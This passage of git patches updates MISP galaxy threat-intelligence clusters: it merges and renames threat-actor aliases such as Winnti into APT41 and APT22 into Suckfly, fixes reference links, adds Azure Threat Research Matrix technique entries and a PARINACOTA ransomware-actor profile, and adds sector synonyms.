"tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + } + ], + "uuid": "2943148b-8bc5-4bcb-b85e-f00c2174dd47", + "value": "Axiom" } ], "version": 241 From c1abedb446ba9594925e391c3f49185f3e5bce52 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Thu, 18 Aug 2022 20:21:31 -0700 Subject: [PATCH 076/167] Move Lotus Panda alias to Lotus Blossom --- clusters/threat-actor.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index fd3d7cd..3dd667a 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -822,7 +822,6 @@ "PLA Unit 78020", "Override Panda", "Camerashy", - "Lotus Panda", "BRONZE GENEVA", "G0019", "APT 30", @@ -893,7 +892,8 @@ "BRONZE ELGIN", "ATK1", "G0030", - "Red Salamander" + "Red Salamander", + "Lotus Panda" ] }, "related": [ From c9b11553eb644830676c2e0f84c775af1fa77d72 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mathieu=20B=C3=A9ligon?= Date: Thu, 18 Aug 2022 20:32:44 -0700 Subject: [PATCH 077/167] normalize APT30 alias Co-authored-by: Rony --- clusters/threat-actor.json | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 3dd667a..c07aad2 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -824,7 +824,8 @@ "Camerashy", "BRONZE GENEVA", "G0019", - "APT 30", + "APT30", + "BRONZE STERLING", "G0013" ] }, From 54f3ef2831caf5f0df97b1b4ef9aaf8d96a343fc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mathieu=20B=C3=A9ligon?= Date: Thu, 18 Aug 2022 20:50:32 -0700 Subject: [PATCH 078/167] capitalize lotus panda alias Co-authored-by: Rony --- clusters/threat-actor.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index c07aad2..14beaa5 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -894,7 +894,7 @@ "ATK1", "G0030", "Red Salamander", - "Lotus Panda" + "LOTUS PANDA" ] }, "related": [ From fcd6faec78129997763550edcc00546c4b0f6628 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mathieu=20B=C3=A9ligon?= Date: Thu, 18 Aug 2022 20:51:03 -0700 Subject: [PATCH 079/167] Capitalize override panda alias Co-authored-by: Rony --- clusters/threat-actor.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 14beaa5..af9f5ca 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -820,7 +820,7 @@ ], "synonyms": [ "PLA Unit 78020", - "Override Panda", + "OVERRIDE PANDA", "Camerashy", "BRONZE GENEVA", "G0019", From 768c94671cdb87546eb09120ffa411f3e062e381 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Fri, 19 Aug 2022 11:33:29 -0700 Subject: [PATCH 080/167] Fix hellsing ref --- clusters/threat-actor.json | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index af9f5ca..2b61f96 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -807,7 +807,6 @@ "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", "https://usa.kaspersky.com/resource-center/threats/naikon-targeted-attacks", "https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/", - "https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/", "https://threatconnect.com/blog/tag/naikon/", "https://attack.mitre.org/groups/G0019/", "https://www.secureworks.com/research/threat-profiles/bronze-geneva", @@ -1138,8 +1137,8 @@ "cfr-type-of-incident": "Espionage", "country": "CN", "refs": [ - "https://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/", - "https://www.cfr.org/interactive/cyber-operations/hellsing" + "https://www.cfr.org/interactive/cyber-operations/hellsing", + "https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/" ] }, "uuid": "af482dde-9e47-48d5-9cb2-cf8f6d6303d3", From fd9201e9e0b21189592be37d253e50414a26d418 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Fri, 19 Aug 2022 12:16:30 -0700 Subject: [PATCH 081/167] Merge APT22 and suckfly --- clusters/threat-actor.json | 24 ++++++------------------ 1 file changed, 6 insertions(+), 18 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 0817ac5..94217e6 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3662,10 +3662,14 @@ "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=62e325ae-f551-4855-b9cf-28a7d52d1534&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7a60af1f-7786-446c-976b-7c71a16e9d3b&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://attack.mitre.org/groups/G0039/", - "https://exchange.xforce.ibmcloud.com/collection/Suckfly-APT-aa8af56fd12d25c98fc49ca5341160ab" + "https://exchange.xforce.ibmcloud.com/collection/Suckfly-APT-aa8af56fd12d25c98fc49ca5341160ab", + "http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild", + "https://www.secureworks.com/research/threat-profiles/bronze-olive" ], "synonyms": [ - "G0039" + "G0039", + "APT22", + "BRONZE OLIVE" ] }, "related": [ @@ -4807,22 +4811,6 @@ "uuid": "a47b79ae-7a0c-4308-9efc-294af19cc795", "value": "APT5" }, - { - "meta": { - "attribution-confidence": "50", - "country": "CN", - "refs": [ - "http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild", - "https://www.secureworks.com/research/threat-profiles/bronze-olive" - ], - "synonyms": [ - "APT22", - "BRONZE OLIVE" - ] - }, - "uuid": "7a2457d6-148a-4ce1-9e79-aa43352ee842", - "value": "APT 22" - }, { "description": "Tick is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group appears to have close ties to the Chinese National University of Defense and Technology, which is possibly linked to the PLA. This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes. The attacks appear to be centered on political, media, and engineering sectors. STALKER PANDA has been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, and the United States.", "meta": { From 1b69b654a80199f47527fb921c9647c9574bf316 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Fri, 19 Aug 2022 21:19:23 +0200 Subject: [PATCH 082/167] chg: [atrm] bump to latest ATRM version --- clusters/atrm.json | 122 ++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 121 insertions(+), 1 deletion(-) diff --git a/clusters/atrm.json b/clusters/atrm.json index 8b1515e..ee07e65 100644 --- a/clusters/atrm.json +++ b/clusters/atrm.json @@ -7,6 +7,9 @@ "Roberto Rodriguez", "Manuel Berrueta", "Jonny Johnson", + "Dor Edry", + "Ram Pliskin", + "Nikhil Mittal", "MITRE ATT&CK" ], "category": "atrm", @@ -213,6 +216,19 @@ "uuid": "fab95406-0d7c-5239-bb94-38e1ca52a70a", "value": "AZT202 - Password Spraying" }, + { + "description": "An adversary may lure a victim into giving their access to a malicious application registered in AzureAD.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Initial Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/InitialAccess/AZT203/AZT203" + ] + }, + "uuid": "8a01a6ea-9fbb-518b-bae0-bafc27a54966", + "value": "AZT203 - Malicious Application Consent" + }, { "description": "Adversaries may abuse access to virtual machines by executing a script through various methods in order to gain access to the Virtual Machine.", "meta": { @@ -798,6 +814,45 @@ "uuid": "5f12fafa-7f63-5066-968c-d5d82d292623", "value": "AZT507.2 - Microsoft Partners" }, + { + "description": "An adversary may transfer a subscription from a target tenant to an attacker-controlled tenant. This retains the billing account setup by the target and the target tenant administrators will no longer have control over the subscription.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-3" + ] + }, + "uuid": "bcaad79d-3751-569b-97cc-cc21605a83bd", + "value": "AZT507.3 - Subscription Hijack" + }, + { + "description": "An adversary may add an additional identity provider or domain to maintain a backdoor into the tenant.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT507/AZT507-4" + ] + }, + "uuid": "0c19e4bf-39f4-577e-a722-af289cbe594e", + "value": "AZT507.4 - Domain Trust Modification" + }, + { + "description": "By configuring a policy with the 'DeployIfNotExists' definition, an adverary may establish persistence by creating a backdoor when the policy is triggered.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Persistence" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Persistence/AZT508/AZT508" + ] + }, + "uuid": "3f56cce5-bfd6-5cde-8e64-8142fcce23f4", + "value": "AZT508 - Azure Policy" + }, { "description": "An adverary may utilize the resource's functionality to obtain a JWT for the applied Managed Identity Service Principal account.", "meta": { @@ -993,6 +1048,19 @@ "uuid": "49ec3f4e-7185-5e89-9ac0-3b5b0547f7bd", "value": "AZT605.2 - Automation Account Credential Secret Dump" }, + { + "description": "By accessing deployment history of a Resource Group, secrets used in the ARM template may be revealed.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Credential Access" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/CredentialAccess/AZT605/AZT605-3" + ] + }, + "uuid": "12c8ab19-5265-5ae3-8f16-bf35bc41f94e", + "value": "AZT605.3 - Resource Group Deployment History Secret Dump" + }, { "description": "By generating an SAS URI for a resource, an adversary may extract the contents of that resource without authentication at any time.", "meta": { @@ -1057,7 +1125,59 @@ }, "uuid": "ff4276bf-ab9e-5157-a171-5cdd4a3e6002", "value": "AZT703 - Replication" + }, + { + "description": "An adversary may leverage resources found at a 'soft deletion' state, restore them and advance their attack by retrieving contents meant to be deleted", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT704/AZT704" + ] + }, + "uuid": "47ded49d-ef4c-57d4-8050-f66f884c4388", + "value": "AZT704 - Soft-Delete Recovery" + }, + { + "description": "An adversary may recover a key vault object found in a 'soft deletion' state.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT704/AZT704-1" + ] + }, + "uuid": "d8fc76f2-6776-5a09-bfb3-57852ae1d786", + "value": "AZT704.1 - Key Vault" + }, + { + "description": "An adversary may recover a storage account object found in a 'soft deletion' state.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT704/AZT704-2" + ] + }, + "uuid": "cd9f0082-b2c7-53f8-95a6-a4fe746f973e", + "value": "AZT704.2 - Storage Account Object" + }, + { + "description": "An adversary may recover a virtual machine object found in a 'soft deletion' state.", + "meta": { + "kill_chain": [ + "ATRM-tactics:Exfiltration" + ], + "refs": [ + "https://microsoft.github.io/Azure-Threat-Research-Matrix/Exfiltration/AZT704/AZT704-3" + ] + }, + "uuid": "d333405e-af82-555c-a68f-e723878b5f55", + "value": "AZT704.3 - Recovery Services Vault" } ], - "version": 1 + "version": 2 } From 969f461709b364ed95028fb40a31c0abe314b284 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Fri, 19 Aug 2022 12:45:47 -0700 Subject: [PATCH 083/167] merge into apt41 --- clusters/threat-actor.json | 154 ++++++++++++++----------------------- 1 file changed, 58 insertions(+), 96 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 94217e6..c8dad0e 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -601,67 +601,39 @@ "value": "Wekby" }, { - "description": "The Winnti grouping of activity is large and may actually be a number of linked groups rather than a single discrete entity. Kaspersky describe Winnti as: 'The Winnti group has been attacking companies in the online video game industry since 2009 and is currently still active. The groups objectives are stealing digital certificates signed by legitimate software vendors in addition to intellectual property theft, including the source code of online game projects. The majority of the victims are from South East Asia.'", + "description": "Axiom is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between Axiom and Winnti Group but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.", "meta": { "attribution-confidence": "50", "cfr-suspected-state-sponsor": "China", "cfr-suspected-victims": [ "United States", - "South Korea", - "Universities in Hong Kong", - "United Kingdom", - "China", + "Netherlands", + "Italy", "Japan", - "Hong Kong" + "United Kingdom", + "Belgium", + "Russia", + "Indonesia", + "Germany", + "Switzerland", + "China" ], "cfr-target-category": [ + "Government", "Private sector" ], "cfr-type-of-incident": "Espionage", "country": "CN", "refs": [ - "https://securelist.com/winnti-faq-more-than-just-a-game/57585/", - "https://securelist.com/winnti-more-than-just-a-game/37029/", - "http://williamshowalter.com/a-universal-windows-bootkit/", - "https://www.microsoft.com/security/blog/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", - "https://securelist.com/games-are-over/70991/", - "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", - "https://www.dw.com/en/thyssenkrupp-victim-of-cyber-attack/a-36695341", - "https://www.bleepingcomputer.com/news/security/teamviewer-confirms-undisclosed-breach-from-2016/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/", - "https://www.dw.com/en/bayer-points-finger-at-wicked-panda-in-cyberattack/a-48196004", - "https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/", - "https://401trg.com/burning-umbrella/", - "https://attack.mitre.org/groups/G0044/", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-july-wicked-spider/", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://www.secureworks.com/research/threat-profiles/bronze-export", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer", - "https://assets.documentcloud.org/documents/7210602/FLASH-AC-000133-TT-Published.pdf", - "https://www.cfr.org/cyber-operations/winnti-umbrella" + "cfr.org/cyber-operations/axiom", + "https://attack.mitre.org/groups/G0001/" ], "synonyms": [ - "Winnti Umbrella", - "Blackfly", - "LEAD", - "WICKED SPIDER", - "WICKED PANDA", - "BARIUM", - "BRONZE ATLAS", - "BRONZE EXPORT", - "Red Kelpie", - "G0044" + "Group72", + "G0001" ] }, "related": [ - { - "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, { "dest-uuid": "090242d7-73fc-4738-af68-20162f7a5aae", "tags": [ @@ -689,17 +661,10 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - }, - { - "dest-uuid": "2943148b-8bc5-4bcb-b85e-f00c2174dd47", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" } ], "uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "value": "Winnti" + "value": "Axiom" }, { "description": "Adversary group targeting financial, technology, non-profit organisations.", @@ -7618,7 +7583,9 @@ "meta": { "cfr-suspected-state-sponsor": "People's Republic of China", "cfr-suspected-victims": [ + "China", "France", + "Hong Kong", "India", "Italy", "Japan", @@ -7646,12 +7613,33 @@ "Intergovernmental", "Media and Entertainment", "Pharmaceuticals", + "Private sector", "Retail", "Telecommunications", "Travel" ], "country": "CN", "refs": [ + "https://securelist.com/winnti-faq-more-than-just-a-game/57585/", + "https://securelist.com/winnti-more-than-just-a-game/37029/", + "http://williamshowalter.com/a-universal-windows-bootkit/", + "https://www.microsoft.com/security/blog/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/", + "https://securelist.com/games-are-over/70991/", + "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", + "https://www.dw.com/en/thyssenkrupp-victim-of-cyber-attack/a-36695341", + "https://www.bleepingcomputer.com/news/security/teamviewer-confirms-undisclosed-breach-from-2016/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/winnti-abuses-github/", + "https://www.dw.com/en/bayer-points-finger-at-wicked-panda-in-cyberattack/a-48196004", + "https://www.welivesecurity.com/2019/03/11/gaming-industry-scope-attackers-asia/", + "https://401trg.com/burning-umbrella/", + "https://attack.mitre.org/groups/G0044/", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-july-wicked-spider/", + "https://www.secureworks.com/research/threat-profiles/bronze-atlas", + "https://www.secureworks.com/research/threat-profiles/bronze-export", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer", + "https://assets.documentcloud.org/documents/7210602/FLASH-AC-000133-TT-Published.pdf", + "https://www.cfr.org/cyber-operations/winnti-umbrella", "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html", "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/", "https://www.mandiant.com/resources/report-apt41-double-dragon-a-dual-espionage-and-cyber-crime-operation", @@ -7661,7 +7649,18 @@ "synonyms": [ "Double Dragon", "G0096", - "TA415" + "TA415", + "Winnti Group", + "Blackfly", + "Grayfly", + "LEAD", + "BARIUM", + "WICKED SPIDER", + "WICKED PANDA", + "BRONZE ATLAS", + "BRONZE EXPORT", + "Red Kelpie", + "G0044" ] }, "related": [ @@ -7678,6 +7677,13 @@ "estimative-language:likelihood-probability=\"very-likely\"" ], "type": "similar" + }, + { + "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" } ], "uuid": "9c124874-042d-48cd-b72b-ccdc51ecbbd6", @@ -9867,50 +9873,6 @@ }, "uuid": "e1e70539-8916-45c2-9b01-891c1c5bd8a1", "value": "TA558" - }, - { - "description": "Axiom is a suspected Chinese cyber espionage group that has targeted the aerospace, defense, government, manufacturing, and media sectors since at least 2008. Some reporting suggests a degree of overlap between Axiom and Winnti Group but the two groups appear to be distinct based on differences in reporting on TTPs and targeting.", - "meta": { - "cfr-suspected-state-sponsor": "China", - "cfr-suspected-victims": [ - "United States", - "Netherlands", - "Italy", - "Japan", - "United Kingdom", - "Belgium", - "Russia", - "Indonesia", - "Germany", - "Switzerland", - "China" - ], - "cfr-target-category": [ - "Government", - "Private sector" - ], - "cfr-type-of-incident": "Espionage", - "country": "CN", - "refs": [ - "cfr.org/cyber-operations/axiom", - "https://attack.mitre.org/groups/G0001/" - ], - "synonyms": [ - "Group72", - "G0001" - ] - }, - "related": [ - { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "2943148b-8bc5-4bcb-b85e-f00c2174dd47", - "value": "Axiom" } ], "version": 241 From 7f82616c10e17f05dcc78fa5dc63e6e13fc6656a Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Fri, 19 Aug 2022 12:48:40 -0700 Subject: [PATCH 084/167] fix axiom related field --- clusters/threat-actor.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index c8dad0e..0a155ae 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -635,14 +635,14 @@ }, "related": [ { - "dest-uuid": "090242d7-73fc-4738-af68-20162f7a5aae", + "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "99e30d89-9361-4b73-a999-9e5ff9320bcb", + "dest-uuid": "090242d7-73fc-4738-af68-20162f7a5aae", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], From 6fd584fa880d3c2976d9ef6ec4f2876c91c59a10 Mon Sep 17 00:00:00 2001 From: Rony Date: Sat, 20 Aug 2022 17:06:18 +0000 Subject: [PATCH 085/167] remove APT36/ Transpert Tribe from microsoft-activity-group.json cause we don't know any MSTIC name yet. --- clusters/microsoft-activity-group.json | 32 -------------------------- 1 file changed, 32 deletions(-) diff --git a/clusters/microsoft-activity-group.json b/clusters/microsoft-activity-group.json index 7f38304..012e1bd 100644 --- a/clusters/microsoft-activity-group.json +++ b/clusters/microsoft-activity-group.json @@ -205,38 +205,6 @@ "uuid": "2d19c573-252b-49d8-8c2e-3b529b91e72d", "value": "ZIRCONIUM" }, - { - "description": "This threat actor uses social engineering and spear phishing to target military and defense organizations in India, for the purpose of espionage.", - "meta": { - "cfr-suspected-state-sponsor": "Pakistan", - "cfr-suspected-victims": [ - "India" - ], - "cfr-target-category": [ - "Government", - "Private sector" - ], - "cfr-type-of-incident": "Espionage", - "refs": [ - "https://www.cfr.org/interactive/cyber-operations/mythic-leopard" - ], - "synonyms": [ - "C-Major", - "Transparent Tribe" - ] - }, - "related": [ - { - "dest-uuid": "acbb5cad-ffe7-4b0e-a57a-2dbc916e8905", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "2a410eea-a9da-11e8-b404-37b7060746c8", - "value": "https://www.cfr.org/interactive/cyber-operations/mythic-leopard" - }, { "description": "Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we’re encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks.\nTo compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points.\nThis activity from GALLIUM has been identified predominantly through 2018 to mid-2019. GALLIUM is still active; however, activity levels have dropped when compared to what was previously observed.", "meta": { From 5b42a09dc27c48ed3d775372c8e3f8417044c102 Mon Sep 17 00:00:00 2001 From: Rony Date: Sat, 20 Aug 2022 17:10:15 +0000 Subject: [PATCH 086/167] add PARINACOTA to threat-actor.json MSTIC names digital crime actors based on global volcanoes --- clusters/threat-actor.json | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 361c342..6d435bd 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9773,7 +9773,26 @@ }, "uuid": "e1e70539-8916-45c2-9b01-891c1c5bd8a1", "value": "TA558" + }, + { + "description": "One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload.\n PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group’s goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware.\nThe group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment.\nPARINACOTA’s attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors.\nThe group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/" + ] + }, + "related": [ + { + "dest-uuid": "42148074-196b-4f8c-b149-12163fc385fa", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "uses" + } + ], + "uuid": "00edb40d-2fed-4d36-98b1-c85fc2bb1168", + "value": "PARINACOTA" } ], - "version": 242 + "version": 243 } From 9efca4c41b06e60df8dbbb5b00f2068468b3ac33 Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Sun, 21 Aug 2022 09:17:56 +0200 Subject: [PATCH 087/167] fix: [threat-actor] UUID reused fixed (UUIDs cannot be reused across different cluster) Add the missing the relationship for the new UUID --- clusters/ransomware.json | 9 ++++++++- clusters/threat-actor.json | 4 ++-- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index 8abc7f5..23a7c2f 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -14176,6 +14176,13 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "used-by" + }, + { + "dest-uuid": "4245e4cd-a57a-4e0b-9853-acaa549d495d", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "used-by" } ], "uuid": "42148074-196b-4f8c-b149-12163fc385fa", @@ -24577,5 +24584,5 @@ "value": "Maui ransomware" } ], - "version": 105 + "version": 106 } diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 6d435bd..e0a39f1 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9790,9 +9790,9 @@ "type": "uses" } ], - "uuid": "00edb40d-2fed-4d36-98b1-c85fc2bb1168", + "uuid": "4245e4cd-a57a-4e0b-9853-acaa549d495d", "value": "PARINACOTA" } ], - "version": 243 + "version": 244 } From cda80e5496a54dd55db3b0d50b32d4a3e06909d8 Mon Sep 17 00:00:00 2001 From: Yosirion95 <75726985+Yosirion95@users.noreply.github.com> Date: Sun, 21 Aug 2022 11:09:50 +0200 Subject: [PATCH 088/167] Add synonyms to sector.json --- clusters/sector.json | 47 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/clusters/sector.json b/clusters/sector.json index 993867e..2137281 100644 --- a/clusters/sector.json +++ b/clusters/sector.json @@ -106,6 +106,11 @@ "value": "Environment" }, { + "meta": { + "synonyms": [ + "Financial" + ] + }, "uuid": "75597b7f-54e8-4f14-88c9-e81485ece483", "value": "Finance" }, @@ -122,10 +127,21 @@ "value": "Gas" }, { + "meta": { + "synonyms": [ + "Government", + "Administration" + ] + }, "uuid": "6012ecea-dcc8-490c-b368-e2e06b2cb62f", "value": "Government, Administration" }, { + "meta": { + "synonyms": [ + "Healthcare" + ] + }, "uuid": "4649fe79-cb8f-4aa3-b3e0-e67d4161fcb0", "value": "Health" }, @@ -182,6 +198,12 @@ "value": "Multi-sector" }, { + "meta": { + "synonyms": [ + "News", + "Media" + ] + }, "uuid": "a0499041-2b4e-43aa-8fe3-04c2de23abdd", "value": "News - Media" }, @@ -198,6 +220,11 @@ "value": "Payment" }, { + "meta": { + "synonyms": [ + "Pharmaceutical" + ] + }, "uuid": "8d7aa230-d07f-46e8-a099-6f1753793b84", "value": "Pharmacy" }, @@ -230,6 +257,11 @@ "value": "Steel" }, { + "meta": { + "synonyms": [ + "Telecommunications" + ] + }, "uuid": "0de938bd-4efa-4c7a-9244-71a79317d142", "value": "Telecoms" }, @@ -242,6 +274,11 @@ "value": "Trade" }, { + "meta": { + "synonyms": [ + "Transportation" + ] + }, "uuid": "e93eb8db-72b1-4407-be3e-8cfea8f9efee", "value": "Transport" }, @@ -326,6 +363,11 @@ "value": "Restaurant" }, { + "meta": { + "synonyms": [ + "Semiconductor" + ] + }, "uuid": "5b9bb2f4-3e03-46b9-ab65-a7f99b726a32", "value": "Semi-conductors" }, @@ -350,6 +392,11 @@ "value": "Construction" }, { + "meta": { + "synonyms": [ + "ICS" + ] + }, "uuid": "3153215a-784d-478e-a147-3410a5b43b39", "value": "Industrial" }, From cb422c21900038648faa5f19de20e426a85d09eb Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Wed, 24 Aug 2022 14:07:01 +0200 Subject: [PATCH 089/167] update Guildma --- clusters/rat.json | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/clusters/rat.json b/clusters/rat.json index f9c5e10..4d199ed 100644 --- a/clusters/rat.json +++ b/clusters/rat.json @@ -3480,9 +3480,12 @@ "description": "The campaign spreads via phishing emails posing as invoices, tax 